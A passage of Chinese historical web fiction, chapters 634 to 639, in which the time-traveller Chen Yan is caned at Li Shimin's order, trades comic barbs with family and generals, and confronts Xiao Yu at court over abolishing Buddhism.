无舌强行按下上扬的嘴角,低头应下。 “不是,真来啊!?” 陈衍人都傻了。 刚刚不是还聊得很高兴吗? 咱翁婿俩吃着火锅,喝着小酒,聊着国家大事,你走也就罢了,削我爵位也算了,怎么还要打我呢? “陛下,等等啊陛下,咱们再聊聊呗?你......你应该还没吃饱吧?我这里还有羊肉.......陛下啊!” 陈衍急了,抓着监牢的大门就喊了起来。 可李世民压根没理他,只留给他一个背着手消失的背影。 “国......伯爷,您是自觉跟奴婢来,还是希望奴婢请您过去?” 无舌忍着笑意,来到陈衍身边。 实际上,从刚刚开始,牢房的门就没关过。 陈衍沉默两息,露出了一个灿烂的笑容:“无舌大人,你瞧瞧咱们都认识这么久了,这大理寺狱内,行刑的地方到处都是,而且有大理寺的官员在呢。” “你其实大可不必留在这里,要不你先回去伺候陛下吧?我这里不用你管,待会我自己去领罚就好了。” 无舌哪里不清楚陈衍打的什么主意,终于是憋不住了,轻轻笑了声:“伯爷,您别让奴婢为难了,陛下亲自对奴婢下的令,奴婢不看完用刑过程,回去不好交差啊。” “二十大板不多的,您咬咬牙,忍忍就过去了。” 见鬼的咬咬牙,忍忍就过去了。 陈衍心里愤恨。 二十大板,是咬牙就能扛过去的吗? 如果是真打,自己搞不好得丢半条命。 “.......无舌啊。”陈衍叹息道:“其实我吧,一直挺尊重你的,毕竟是身为陛下的近侍,平常也不容易。” “我能理解你的想法和难处,不过怎么说呢......看在咱们以前关系不错的份上,你要不等等?” “我现在还饿着肚子呢,总得让我吃完这顿饭吧?” “就是死刑犯,死前还给一顿饱饭呢,我这个要求应该不过分吧。” 无舌定定望着陈衍,无奈叹息:“伯爷,奴婢在这里,您还怕什么?有些东西,其实大可不必的。” 这句话几乎已经不是暗示,而是明示了。 但陈衍不依,执拗道:“你说的话我听不懂,反正我饿了,我得吃完这顿饭。” “等我吃饱了,你想怎么打就怎么打,我都由着你,怎么样?” “如果你不给我吃饱,回头我就跟兕子说我在这里受了多少苦,受了多少难.......我一把辛酸泪啊。” 无舌那叫一个心累,继续劝了两句,可陈衍压根不理,硬要说吃饱了再去,无奈只能答应下来。 “......” 大理寺狱,自然是不会缺少用刑的地方,像是杖刑这种刑罚,随便喊两个人来就可以。 所以,无舌甚至没期望带走陈衍,直接命人搬来了案几,然后找来了两个行刑人。 陈衍无所谓地趴上去,嚷嚷道:“打,随便打,今天我要是皱一下眉头,我就不姓陈!” 无舌:“......” 他挥了挥手,命行刑人用刑。 只是,当两人举着硕大的棍子敲下去的那一刻,一声清脆回音骤然在监牢中回荡开。 “咚~” 两名行刑人员感受着木棍传来的回力,沉默了。 不是? 你特么到底垫了个什么玩意儿啊? 说真的,这么多年以来,他们打过的人不在少数。 很多是真打,很多是假打,这里面的弯弯道道,他们都门儿清。 遇见在屁股上垫个垫子的,也不在少数。 可你这个‘咚~’是什么东西? 这声音它对吗? 还有这震颤感,它对吗? 你穿铁裤衩来的呀? “.......” 第634章 你挺会玩儿啊! “大人......这......” 两个行刑人员实在不知道该怎么办了,只能扭头看向无舌。 没办法,他们本来也没想真打,但架不住陈衍做得太过分了啊。 屁股后面直接垫块贴片可还行? 无舌黑着脸,摆摆手,“打,打,赶紧打完,某还要回去复命呢。” 听到这话,陈衍嘎嘎直乐:“哈哈哈哈,我早就告诉你们了,我陈衍一生顶天立地,不就是二十大板吗?” “但凡我皱一下.......” “砰——” “啊!!!” 陈衍话还没说完,一道沉重的敲击声骤然回荡开,他立刻感觉自己屁股上传来一阵剧痛。 “不是,孙贼,你用十成力打我?” “伯爷,得罪了,我们二人也是听命行事,还望您莫要怪罪!” 一名行刑人员板着脸,使出全身力气狠狠挥着棍子砸下去。 至于他为什么敢这么做,当然是因为无舌连续说了两个打字啊。 你若问无舌为什么敢这么做。 那自然是他明白了李世民的意思,必须让陈衍吃点苦头啊。 你就算在屁股上垫块贴片又能怎么样? 十成力打下去,受伤不至于,但疼肯定是疼的! “卧槽!” “无舌!” 陈衍绷不住了,偏偏还不敢乱动。 万一因为自己动,导致这棍子砸在了其他地方,他哭都没地方哭。 “你敢暗算我!” 无舌默默道:“伯爷,您忍忍吧,奴婢也是听命行事,挨完这二十大板,您就能回家了。” “我回捏麻.......啊!!!” 大理寺狱内,一道道惨叫声不绝于耳。 “......” 当天,李丽质便收到了大理寺狱的传信,让人来把陈衍接回去。 李丽质还以为自家夫君没事了,高高兴兴地带着马车就来了。 只是.......让她没想到的是,见到的陈衍走路一瘸一拐的,脸色漆黑无比。 “夫君......你这是.......” “别说话,回家。” 陈衍咬牙切齿挤出一句话,已经迫不及待想回家印证自己的猜测了。 “噢......噢噢噢。”李丽质愣了一会儿,不敢耽误,连忙跟婵儿搀扶着陈衍上车。 陈衍坐都没敢坐,保持着一个怪异的姿势,半蹲在车内。 此时,李丽质差不多也反应过来怎么回事了,憋着笑:“夫君......你挨打了?” “这难道还不明显吗?” “......要不,你在我腿上趴一会,很快就到家了。”李丽质忍俊不禁,也有些心疼。 听到这话,陈衍神色才好看了几分,找了个舒服的姿势,侧躺在李丽质腿上。 “兕子.......不对,那个死丫头在家吗?” 李丽质看着昔日意气风发的夫君,如今蜷缩在车上,样子要多怪异有多怪异,根本不敢开口。 因为她怕自己一开口,就会笑出声,所以连忙点着脑袋。 陈衍死死握着拳,愤愤道:“在家就好,在家就好啊.......我都快想死我的好妹妹了。” “丽质,你是不知道,我在大理寺狱里,最惦记的就是这个小家伙。” “都说长兄如父,长嫂为母,这小家伙可真是孝死我了!” 李丽质迟疑了一下,其实蛮想替兕子解释两句的。 毕竟吧......这件事兕子也是受害者。 但她想了想,还是没打算多嘴。 他们的事,就让他们自己解决去吧,免得待会火烧到自己身上。 不久,陈衍回到了家里。 当即让惊喜的青儿赶紧把兕子叫过来。 起初兕子知道陈衍回来了,而且一回来就找她,便立马气呼呼地冲了过来。 不等陈衍发火,小家伙叉着小腰对站着的陈衍嚷嚷:“你还知道找我啊?” “你知道我都被你骗死了吗?” “说什么你要死了,以后让四皇兄背我出嫁,还说什么......说什么在渭南县给我留了一处庄园。” “你这个大骗子、大忽悠,亏我还那么伤心,跑去找皇爷爷帮你求情。” “结果你就是骗我的,想让我搬出皇爷爷不让阿耶好过,你个大渣男!” “你以前不是总说不能骗人感情的吗?你连我一个小孩子的感情你都骗。” “你就是这么以身作则的?” “道歉,给我道歉!” 陈衍:??? 面对理直气壮的小家伙,陈衍脑瓜子一时间有些转不过弯来了,眨眨眼,看着抬头挺胸的兕子,忽然笑了。 “好好好,是阿兄不对,阿兄给你道歉好不好?” “你还骗我感情!”兕子更来劲了。 “我错啦,是我错啦。”陈衍温和道:“阿兄不该那么说,让你担心了。” 兕子闻言,轻哼了一声:“你还让丽质阿姐跟高阳阿姐担心呢,还让她们不要留在长安,我们都以为你要死了。” 陈衍笑容更甚,轻声哄道:“对对对,是阿兄不好,阿兄的话有问题,阿兄保证下次再也不这样了,好不好?” “这样,你先去跟小清月她们玩,阿兄待会让张姨给你多做点好吃的,明天还带你出去玩,怎么样?” “这可是你说哒!”小家伙再怎么聪明,年纪终究是小,听到明天陈衍要亲自带她出去玩,晚上还要好吃的,大眼睛顿时亮了。 “嗯呐,我说的,我说过的话,什么时候没实现过?对吧?你先出去玩,我跟你高阳阿姐有话要说。” 此时,听到消息的高阳刚走进来。 一来就听到了这句话,心里顿时涌现了一股不妙之感。 但她没走。 “好呀好呀。” 兕子好哄得很,加上陈衍看上去没什么事,便高高兴兴地出去,找自己的小伙伴玩了。 待她一离开,陈衍的笑容缓缓收敛,盯着慢慢走过来的高阳:“起初,我实在想不明白,到底是什么人想坑我和陛下。” “程咬金?尉迟恭?他们没有这个能力啊。” “有这个能力的,而且能忽悠住兕子的,只有丽质和你。” “以我对丽质的了解,她干不出来这种事,不会想着一箭双雕,连续把陛下、皇后、还有我全坑进去,所以唯一的答案,只剩下你了.......我的爱妻!” 高阳稍稍扬眉,陈衍展露出笑容,只是语气莫名。 “行啊,李昭棠!” “挨千刀的玩意儿” “你挺会玩儿啊!” “......” 第635章 你叫我们老黑就行了 李丽质抿了抿唇,悄悄给了婵儿和香岚一个眼神,带着两个侍女轻轻退了出去,顺便关上了门。 门关上的一刹那,屋内顿时一阵鸡飞狗跳。 不过李丽质三人都当做没听见一样,各做各的事去了,显然早已习惯了这种事。 兕子像是有什么特异功能似的,从拐角处探出了小脑袋:“阿姐,我又闻到了八卦的味道,他们两个怎么又干起来啦?” 李丽质:“......” “你上一边去,玩你的,别掺和你阿兄这件事,否则待会他可能要连你一起揍。” 兕子不服了:“是他先骗我的,怎么还能揍我呢?” 李丽质无语,高阳在这方面倒是有一手,现在兕子还以为自己是被陈衍骗的,对高阳信任得很呢。 “算了,我懒得跟你解释,你消停点吧,要不然你也得挨打。” 说完,李丽质就打算离开了。 她觉得自家夫君在大理寺狱内吃了不少苦,想去叮嘱张姨晚上做点好的,给陈衍补补。 却不想,兕子眼珠子转了转,回想起刚刚见到陈衍的样子,迈着小短腿跟了上去:“阿姐,今天的阿兄好像不一样啊,他从前一回来,总是要坐着、躺着、或者喝茶,今天怎么站着一动不动了,我还感觉他一直弯着腰,腿有点打哆嗦。” “阿兄是不是被打板子了?” 说到这里,小家伙眼睛顿时大亮,兴奋地不行。 李丽质闻言,一把抓住兕子的手,认真叮嘱道:“这件事,你绝不能跑出去乱说,知道吧?否则你阿兄要揍你,我可不拦着。” “放心放心。”小兕子拍着自己的小胸脯,眼神亮晶晶的,一副我绝对不会透露出去的模样。 李丽质深深看了她一眼,微微叹了口气,再度叮嘱两句,随即便去忙了。 而后,小家伙乐呵呵地找到自己两位小伙伴:“清月小娘子,城阳阿姐,我跟你们说,今天阿兄被打板子.......” “小顺子,小顺子,你快来,我告诉你噢,今天......” “耶,青儿小娘子,我跟你说一件事,你千万别说出去......” “......” “哈哈哈哈哈哈哈!” “好大侄儿,我的好大侄儿,听说你出狱了,你程伯伯特意带了点好东西来探望你啦!” 程咬金大步流星地走进府内,手里大包小包地提着东西,旁边还跟着一脸乐呵的尉迟恭: “是啊,好大侄儿,俺看你来啦,你在狱里没有受委屈吧?俺特意给你带的药膏,你快来试试。” 刚教训完高阳,陈衍穿戴好衣服,就听见了这两道嘹亮的嗓门,额头冒出几条黑线。 走出门,青儿正在外面等着。 她显然听到了程咬金和尉迟恭的声音,迟疑道:“少爷......这......” 陈衍挺直了身子,忍着屁股上的疼痛,平静道:“这什么这,这两个货想看我笑话来了。” “那少爷......您......”说着,青儿的目光时不时瞥向陈衍的屁股。 陈衍察觉了这道目光,当即一愣:“你怎么知道的?” 他记得自己回来之后隐藏得很好啊,除了李丽质和婵儿之外,其他人应该没看出异常才对。 青儿顿时不说话了。 见状,陈衍哪里还能不明白怎么回事,咬牙切齿挤出两个字:“兕!子!” “哟,好大侄儿,你怎么在这呢?” 此时,程咬金已经找了过来,一见到他便哈哈大笑:“听说你挨了板子,程伯伯听后可是心疼得紧啊,特意去长安最好的医馆带来的药膏,你试试?” 尉迟恭咧嘴道:“好大侄儿,这可是孙老先生徒弟特制的药膏,最适合治你这种情况了,哈哈......抱歉,俺突然想起了一件高兴的事。” “哈哈哈哈哈!” 尉迟恭一笑,程咬金更忍不住了,两人纷纷大笑起来。 可以看得出来,这两人此时很高兴。 陈衍叹息:“二位,不是我说,以咱们的关系,何必要闹到如此地步呢?” “你们今天来看我笑话,明天就不怕我报复回去?冤冤相报何时了啊,要我说,算了吧。” “二位?” 程咬金压根不吃这套,随手把手中的东西塞给青儿,抬头挺胸道:“你怎么跟我们说话的?” “一个小小的县伯,见到我们难道连一声郡公大人都不叫了吗?” 陈衍:“......” 他扭头看向青儿,后者小声道:“少爷,陛下的圣旨已经到家里了,就是刚刚你跟公主殿下......我不好进去,是长乐殿下代为接的圣旨。” “咱家的牌匾都换了。” 陈衍嘴角一抽,揉了揉眉心,挥手道:“别整什么国公、伯府了,重新换个牌子,咱们就是陈府。” “哎,好嘞。” 青儿点点头,表示明白。 程咬金凑过来,揽着陈衍的肩膀,脑袋微微后仰,瞥了眼陈衍的屁股:“好大侄儿,当初你看我们笑话的时候,有没有想过今天啊?” 陈衍点点头,“自然是想过的,不过我觉得我只是一个小辈,你们二人身为长辈,既然想看我笑话,那看就看了。” “我反正是不在意的。” “不过程伯伯啊,有一句话,侄儿得告诉你啊。” “什么话?”程咬金一怔,心里忽然涌出一股不妙的预感。 因为陈衍每次这么说话,都没有好事。 陈衍诚恳道:“二位伯伯,你们年纪大了,我细细想了想,在外打仗何其艰辛?万一有个三长两短,我跟伯母也不好交代。” “所以我决定,关于出兵吐谷浑的具体将领人选,还是得仔细商议。” “反正我大唐又不缺猛将,加上我一片孝心,陛下应该能理解的。” “你......”程咬金瞪眼,急了,“小子,不带这么玩的吧?” “这事都已经说好了,怎么还带反悔的呢?” “是啊。”尉迟恭更急,“你可不能这么整啊,你这不是要俺们老命吗?” “那这药膏......”陈衍下巴点了点青儿手中的东西。 两人急忙抢了回去,程咬金忙道:“我的,我的,我自己用的,最近摔了一跤,需要用药膏敷敷。” “那这称呼......” “.......你叫我们老黑就行,反正我们也黑,郡公大人什么的太生疏了。” “......” 第636章 今天必须让她尝尝来自阿兄的爱! 根据守恒定律,笑容不会消失,只会转移。 就跟现在一样,程咬金和尉迟恭的笑容消失了,但转移到陈衍脸上: “我说,你们俩今天到底是来干嘛的?自取其辱?” “我都告诉你们了,咱们何必闹到如此地步?过去的就让它过去不好吗?” 程咬金脸都绿了,没好气道:“还不是你个混小子不讲武德,动不动就用出兵吐谷浑来威胁我们。” “想当初,你爹他们是何等的英雄盖世,怎么就生出你这么个混小子呢?” “总特么玩阴的。” “你们俩还好意思说。”陈衍没好气道:“如果不是你们,我不一定会二进狱,还特么挨了二十大板。” “你们报复一下就得了,还敢来看我笑话,我不整你们整谁?” “也不想想,那些跟我作对的人都是什么下场,昨天即便我不在,那姓萧的都被气吐血了呢。” 提起这件事,两人又乐了。 尉迟恭道:“俺瞅你这样子,哪里是挨了二十大板的样子,要俺看呐,你这二十大板水分十足。” “不过你手底下那群人是狠哈,硬生生给姓萧的气吐血了。” “行啦。”陈衍无奈,忍着疼痛带着两人来到会客厅,又小心翼翼地坐下。 “说说你们今天来找我干啥吧,没事我真的要休息了,家里一团糟,朝堂上也到处都是事,累得很。” “也不知道我什么时候可以休息一段时间......” “休息?”程咬金冷笑,“休息我看你是别想了,我今天来是想告诉你,不管你想灭佛,还是反佛,都要赶紧办下去。” “那姓萧的已经醒了过来,然后到处在联系人,我瞅他那样子,明天估计还会跟你们硬刚。” “而且这则消息瞒不了多久,如果传出去,难免产生什么变数。” “更何况,这种事拖不了,你越拖,情况就越对你不利。” “当初姓傅的为什么喊了那么多次反佛都没成?就是因为他一喊出来,便立即有人阻止,随着双方僵持,最后总是会因为各种各样的原因不了了之。” “佛门的水比你想象中要深得多,我给你一个建议,立刻联系你能联系到的所有人,明天一定要将此事落定下来,不可再继续拖下去了。” 佛门的水很深...... 陈衍听到这句话,陷入了沉思。 其实类似的话,李世民也说过,要他赶紧落实下来,快刀乱麻。 如今程咬金也表达了类似的意思。 这让陈衍不得不重视起来。 尉迟恭提醒道:“小子,你以为佛门拿了那么多利益,不知道织起一张利益网吗?” “为什么你明明能随便调查出危害,然后再喊反佛的时候,阻力依旧那么大?” “因为你调查出来的东西,只是表面的,佛门其实没有一个人在朝堂任职,但朝堂上跟他们有利益牵扯的官员不在少数。” “这群读书人别的本事没有,大道理张口就来,冠冕堂皇至极,你别觉得以你如今的地位,以及背后的人,就可以稳坐钓鱼台了。” “要么不做,要做就做快点、狠点!” “须知,有些时候,陛下都不得不妥协,何况我们呢。” 最后一句话落下,陈衍面色古怪地看着尉迟恭。 这些道理他自然是明白的,要不然怎么会跟李世民说一起撞南墙呢? 只是...... “尉迟伯伯,你好像也没有表面上那么简单啊......” “你管俺怎么样?做好你自己的事得了。”尉迟恭瞪眼道。 “行行行,我明白啦,感谢二位伯伯提醒了。” 陈衍笑了笑,没说什么。 尉迟恭不像表面上那么简单吗? 那是当然的啊。 前半生杀伐果断,后半生富贵闲人,最后善终家中,名留青史。 这样的人,能简单到哪里去? “你明白就好,天色不早了,我们先回去了。”程咬金事情说完,站起身就打算离开。 一点都不想继续留在这里了。 “这就走啦?不留下来吃个饭吗?” “吃个屁。” 程咬金没好气地说了一句,跟尉迟恭双双离开了。 开玩笑。 今天来的主要目的是看笑话的,结果笑话没看到,反倒自己成了笑话。 哪里还有心情吃饭? 两人一离开,陈衍思索片刻,便让青儿去准备纸笔。 一连写了好几封信,陈衍又叫来了小顺子:“你去把这些信,按照信封上的名字,各自送到他们的手中。” “特别是秦伯伯那边,你现在立刻派人去一趟渭南县,务必把信亲手交给他。” “哎,少爷,小的明白了。” 小顺子不傻,清楚自家少爷一回来就这样做,肯定有大事发生,不敢轻视,郑重应下来。 “好,去吧。” 陈衍微微颔首,端着茶杯轻轻抿了一口,静静坐着品茶。 “夫君。” 李丽质走过来,轻声问道:“你明日还要上朝吗?” “嗯,本来是不想去的,如今却不得不走一趟了。”陈衍淡淡回道。 李丽质皱了皱眉:“很重要吗?可你如今的身体......” “没关系。”陈衍打断了她的话,“这是一个开始,很重要,我必须要到场,也必须要赢。” 关于反佛,他已经跟李世民在大理寺狱商量好了,也已经决定好了,没有退缩的可能。 闻言,李丽质知道陈衍心意已决,不再勉强,有些埋怨道:“阿耶真是的,明知道最近有重要的事,何必又要打你呢?” “现在搞成这副样子,走路都很勉强了,明天还得上朝,这不是故意让你出糗吗?” “回头我一定跟阿娘好好说说。” “别跟你阿娘说了,这还不都是因为高......” 说着,陈衍似乎想起了什么,顿了顿,咬牙道:“这件事先放一边,兕子呢?给我把她叫过来!” “今天必须让她尝尝来自阿兄的爱!” “......” 第637章 再度怒怼 “子安兄,你回来啦!” 翌日清晨,文武百官上朝的时候,随着陈衍走过来,杜构等人兴奋无比,急忙围了过来。 特别是韩仲良,简直都要哭出来了。 别看他昨天很嚣张,敢指着萧瑀的鼻子骂,但他只是强撑着而已。 陈衍不在,他属实没有安全感。 现在一看到陈衍,韩仲良不知为何,心一下子就不慌了,安全感拉满啊。 别问为什么。 问就是他们户部的头儿实在猛,那是真不差事儿啊。 “嗯,回来了。”陈衍微微颔首,扭头看了看周围的官员,最终定格在一个额头上两个大包,一只眼睛青黑,脸色铁青的人身上。 “哟,萧大人,两日不见,你......风采依旧啊。” “只是为何你脸色好像不怎么好看?最近是遇到了什么烦心事吗?” 两人本来就是所有人关注的焦点,现在听到陈衍的话,顿时吸引了几乎所有人的注意力。 等着看两人时隔两天再度聚首,会发生什么。 “陈衍!”萧瑀肺都要气炸了,面容都变得有些狰狞起来,“别在那里阴阳怪气的,我变成这样......还不都是因为你!” “若不是你不讲武德,偷袭我这个七老八十的老头子,我何至于变成这样!” “别说什么风凉话,待会咱们朝堂上见真章!” “何必要等到朝堂上呢?”陈衍笑吟吟地朝杜构伸出手,后者立刻明白什么意思,从怀中掏出了一块大板砖放在他手上,“你若是不服,咱们现在就能见真章,反正我还有个渭南伯的爵位,还能继续往下削。” “再不济,我手里还有一块高阳快乐......免死金牌,想必咱们见过真章之后,过两天我依然是一条好汉,你嘛.......我就不确定咯。” “怎么样?要不要来试试?” “哈哈......” 陈衍的话落下,在太极宫外引得不少人发笑。 所有人都清楚,陈衍绝对能干得出这种事,毕竟前几天带着那么多官员打了群架,还不是被关两天就放出来了。 再来一次,解决阻挡在前面的萧瑀,左右都是不亏的。 “你......”萧瑀见到陈衍的那块板砖,不知为何,心里慌了一瞬,额头隐隐泛疼。 “你......你不可理喻,行为粗鄙至极,亏你从小还是读圣贤书长大的,你愧对你父母的期待,愧对皇后殿下的教导。” 陈衍的脸色冷了下来:“我如何,还轮不到你来评头论足,对不对得起我父母,是我父母自己说了算,是皇后殿下亲自说了算。” “你算个什么东西?也配说我?” “一个抱着一群秃驴当成宝,跟母鸡护犊子一样护着的蠢货,你同胞姐姐昔年颠沛流离,我怎么没见你急过?如今她还被软禁着呢,怎么不见你去帮她?” “呵呵......”陈衍嗤笑,环顾众人,“自代国公大破东突厥,前朝萧皇后,咱们萧大人的亲姐姐同样被带回了长安。” “现如今就在长安城,可咱们萧大人是怎么做的?” “除了被带回来那天,在朝堂之上见过一面,咱们的萧大人怕是一次都没去探望过自己的亲姐姐吧?” “都说长兄如父,长姐如母。” “萧大人为了自己的仕途受到影响,连自己的长姐都未曾去探望过,这就是咱们读圣贤书的萧大人啊......” “闭嘴!”萧瑀怒叱,再也不能保持淡定了。 因为陈衍的话,实实在在戳中了他心里最脆弱的地方。 其他官员也对萧瑀投来了怪异的目光,有些甚至开始窃窃私语起来。 “哎,老尉迟,这姓萧的老菜梆子,真的连自己的亲姐姐都没去探望过?不能吧?”程咬金诧异道:“他们读书人,不是最讲究什么孝为先吗?” “害,程老黑,这你就不懂了吧?亲姐弟又能怎么样?人家亲姐姐是什么身份,那可是前朝皇后,如今这姓萧的可是朝堂上举足轻重的人物,虽然咱们叫他老菜梆子,实际他年龄并不大,以后未必没有机会更近一步,现在跑去见前朝皇后,影响自己的仕途怎么办?” “是这样吗?但身为胞弟,连自己的亲姐姐都能不顾,这样的人,陛下敢重用吗?” “这俺说不好,不过......啧啧,咱好大侄儿有句话说得对,长兄如父,长姐如母,自己的亲姐姐已经遭受了那么多苦难,回来两年,这姓萧的一次都没去探望过,俺打心眼看不起这样的人。” “说得好!”程咬金意味深长道,“这样满口道义,实则与畜生无异的东西,即便将来位列宰相,位极人臣又能怎么样?” “我老程看不起这样的人。” 不光是程咬金他们在讨论,其他人也在讨论,只是没有两人大声罢了。 唯一相同的点,可能是看萧瑀的目光都透露着鄙夷。 “你......你们。” 萧瑀双目赤红,气喘如牛,“你们怎知我没有探望过我姐姐,你们纯属胡扯!!!” “胡扯?”陈衍挑眉道,“我什么时候胡扯了?” “你姐姐如今就居住在长安城兴道里,那里看似毗邻皇城,环境清幽,衣食供给丰厚。” “但谁不清楚,她一个六十多岁的人,身边毫无亲近之人,那么大把年纪了,只能独居小院,每日与孤独相伴。” “以你的身份,以及陛下的深明大义,只要你提出来,陛下难道不愿意让你姐姐跟你回家住?” “有同胞兄弟在旁,侄儿、孙儿陪着,倒也不负这么多年的苦难。” “可你提了吗?” “你这位弟弟,你儿子,你孙子,去探望过这位姑姑、姑奶奶了吗?” “彼其娘之,你放......” 萧瑀只觉得头晕目眩,真的想跟陈衍去拼命了,张口就要开骂,却立即被陈衍怼了回来:“对对对,我放,我放,我放出了你这个五香麻辣屁!” “老菜梆子,论做官,在场九成九的人都比不上你。” “但论做人.......” 陈衍冷笑,“你随便在长安找一介乞丐......都比你强!” “.......” 第638章 横渠四句 “我跟你拼了!!!” 面对陈衍的讥笑,萧瑀忍无可忍,冲上去就要跟陈衍玩命。 却被旁边几名官员联手拉住,“萧大人,冷静,冷静啊!” “你让我怎么冷静?放开我,我今天一定要跟他拼了。” “萧大人,别闹了,这是在太极宫外,不能打架啊,等等好不好?马上就要上朝了。” “上朝?我还上你娘的朝!我再说一遍,放开我,今天我跟陈衍,只能活一个!” 拉着萧瑀的官员都无语了,这萧瑀真的是被气得不行了啊,都变成了这副模样。 但他们也不敢放开萧瑀,只能继续劝解。 陈衍饶有兴趣地看着这一幕,丝毫不担心萧瑀冲过来锤自己。 因为不知何时,秦琼已经抱着双手站在了他身边,“子安,还是要注意点的,这毕竟是在太极宫外。” “这里发生的事,陛下一定有所耳闻。” 陈衍摇摇头,“不用担心这些了,今天就是我跟他最后的博弈,要不然我不会叫您回来。” 秦琼眸光闪烁,从陈衍的话里明白了许多东西,点了点头,什么都没说。 “萧大人!” 几位拉着萧瑀的官员忍无可忍,直言道:“你还要闹到什么时候?你能拼得过人家吗?你看看人家背后站着的都是谁行不行?” “说句不好听的,就算没有那些人,你能打得过一个二十岁,身强体壮,还带着板砖的年轻人?” “更何况.......人家家里整整住着四位公主,从小被长孙皇后视如子侄,还能随便掏出一块御赐金牌,你拿什么跟人家打啊。” 萧瑀:“.......” 这些话对他来说实在太难听了,却如一盆冷水当头浇下,让萧瑀熊熊燃烧的怒火一下子熄灭了。 陈衍温和道:“萧大人,你还不过来吗?” 萧瑀喘着粗气,深深看着陈衍,后者笑吟吟地注视着他。 两人谁都没有再开口,因为他们心里都清楚,现在争吵其实没什么意义。 等会儿进殿之后,才是交锋开始的时候。 半晌,萧瑀移开了目光。 殿外一下子陷入了安静。 不知是不是刻意,等两人没吵了,一名宦官恰好出来,宣布入殿。 等走完流程,无舌一如往常般开口:“有事起奏,无事退朝。” “算了。” 让所有人没想到的是,李世民今天率先开口,挥挥手,目光扫过陈衍和萧瑀:“听说你们在外面吵得挺凶,朕已经给了你们时间争吵。” “今天进殿,就不要再吵了。” “都是同僚,别伤了和气。” “陛下明鉴。”陈衍淡淡笑道:“臣不过是关心一下萧大人的脸色,谁知萧大人立即便炸毛了,宛如疯狗一样追着臣咬,臣实属无奈啊。” 李世民内心无语,挥手道:“行啦,朕不想听这些,前几日,你们已经因为灭佛一事,吵得不可开交。” “一个被打,一个被削爵位,闹出了如此之大的动静,结果到现在还没吵出个所以然。” “朕乏了,今日不管是怎么样,都做出决定吧!” “陛下!”萧瑀上前一步,“灭佛一事,绝对不可行,臣依然是那句话,臣并不是为了一己私欲,而是此事影响太大,不可取。” “臣附议,灭佛一事陛下绝不可采纳。” “臣也附议......” 萧瑀一站出来,朝堂上超过三分之一的官员立刻上前附和。 陈衍对这个结果并不意外,毕竟昨天程咬金就告诉过自己,萧瑀已经在联系人了。 只是唯一让陈衍没想到的是,除去大部分中立的人,竟然还有三分之一的官员支持萧瑀。 这影响力着实太大。 嗯......可能并不是萧瑀的影响力,是佛门的。 李世民淡淡扫视着这些人,并未第一时间表态,而是对陈衍问道:“陈爱卿怎么看?” “陛下,臣站着看,甚至不敢看。”陈衍先是这样说了一句,转而叹息道,“说真的,臣实在没想到,佛门的影响力竟然这么大。” “朝堂上,竟然有这么多官员倒向他们,臣也属实疑惑,为什么这些人这么不怕死,明明都拿出了证据,依然敢阻拦臣灭佛。” “如果说这里面没什么利益牵扯,臣是不相信的。” 不少官员闻言,顿时瞪大了眼睛。 天菩萨,你这么敢说的吗? 直接摆到明面上来? 而那些反对灭佛的官员一下子急了,瞬间急着跟李世民表忠心,更有甚者,直接对陈衍开喷了。 陈衍一点都不在意这些,因为杜构他们已经跟这些吵上了。 他也懒得搭理这些人。 “陈尚书,我劝你慎言。”萧瑀冷声道,“说话做事,无论什么都讲究一个证据,空口无凭的,我们可不会任凭你污蔑。” “我们为何反对你,你自己心里难道没有数吗?” “灭佛,灭佛,亏你喊得出来。” “怎么灭?杀光吗?” “还是你想让陛下效仿前两次灭佛,拆毁寺庙、焚烧经文,禁止佛门存在?” “萧大人希望是哪一个?”陈衍平静道,“其实我都可以的,你选一个就好。” “伶牙俐齿的小儿,你考虑过后果吗?”萧瑀现在已经不生气了。 他心里清楚得很,论吵架、扎心,自己绝对不是陈衍的对手。 “读书是让你明事理、知分寸、懂进退,而不是让你凭借着少年心气,官居高位,就能做事不顾后果。” “陈尚书,你还年轻,很多事没有你想象的那么简单,须知,以你如今的地位,一个决定就有可能影响天下黎民,此事莫要再提了。” “读书......真的是这样的吗?”陈衍歪了歪头,轻笑一声,“明事理、知分寸、懂进退......我确实没有听过这句话。” “我只知道,读书的目的.......是为天地立心,为生民立命,为往圣继绝学,为万世开太平!!” “我既然坐在户部尚书这个位置,自然得为君分忧、为国尽力。” “整个大唐十道、三百五十八个州、一千五百五十一个县的经济都在我身上扛着。” “天下黎民,什么时候轮到你一个同胞姐姐都不顾的畜生来说了?” “.......” 第639章 你们多高尚啊,而我卑鄙 陈衍的语气明明很平淡,却显得那么掷地有声,轰然在朝堂上炸响。 所有人都不可置信地盯着陈衍,被他说出来的话震撼到了。 连被骂作畜生的萧瑀,此刻都呆滞当场。 整个朝堂落针可闻。 李世民坐在上首,目光幽深地看着陈衍,眼底那股欣赏简直要溢出来。 萧瑀的脸青一阵白一阵,嘴唇哆嗦了半天,愣是没蹦出一个字来。 “好!”杜如晦面色红润,激动不已,“好一个为天地立心,为生民立命.......这句话,简直应该刻在文明殿门前,简直说到了我心坎里。” “这才是读书人啊,读书的目的,就是如此啊!” “狗屁的明事理、知分寸、懂进退,那不就是见风使舵、为名为利吗?” “我亦没听说过这样的道理。” “不错!”房玄龄微微颔首,“有些人自己屁股不干净,还好意思教别人做人?” “拿出一副长辈的样子,说出来的话却只能贻笑大方,如果我是某人的话,我现在就立刻认错自裁,起码还能给后世留一个知错能改的印象。” “毕竟......今日之事注定在史书上留下浓重的一笔,陈尚书为何说出这四句话,想必史官一定会仔仔细细地记录下去。” 听到房玄龄的话,大家下意识看向下面的两个史官,然后就发现这两货激动得浑身颤抖,手里的笔一刻都没停下来过。 众人:“......” 秦琼没说话,只是微微点了点头。 那几个刚才还跟着萧瑀附和的官员,这会儿眼神开始飘忽,有的低头看脚尖,有的假装整理朝服。 萧瑀终于缓过劲来,咬着牙说:“陈衍,你别以为说几句漂亮话就能糊弄过去。灭佛?你可知天下有多少寺庙?多少僧尼?你一句话,要砸多少人的饭碗?要让多少人流离失所?” “萧大人。”陈衍转过身,正对着他,“我问你一个问题。” “你说。” “佛门讲什么?” 萧瑀一愣,下意识答道:“自然是讲慈悲为怀,普度众生。” “好。”陈衍点点头,“那我再问你,那些寺庙占着良田万顷,不纳粮、不交税,那些僧尼不耕不织,坐享其成,这叫慈悲?” 萧瑀张了张嘴。 “那些所谓的高僧大德,坐着金漆莲台,穿着绫罗袈裟,拿着信徒的血汗钱盖寺庙、修佛像,这叫普度众生?” 萧瑀的脸色变了。 “我继续问你,那些因为家里穷得揭不开锅,被迫把孩子送进寺庙当沙弥的父母,或者那些走投无路,只能剃度的百姓,他们的苦,谁来度?” 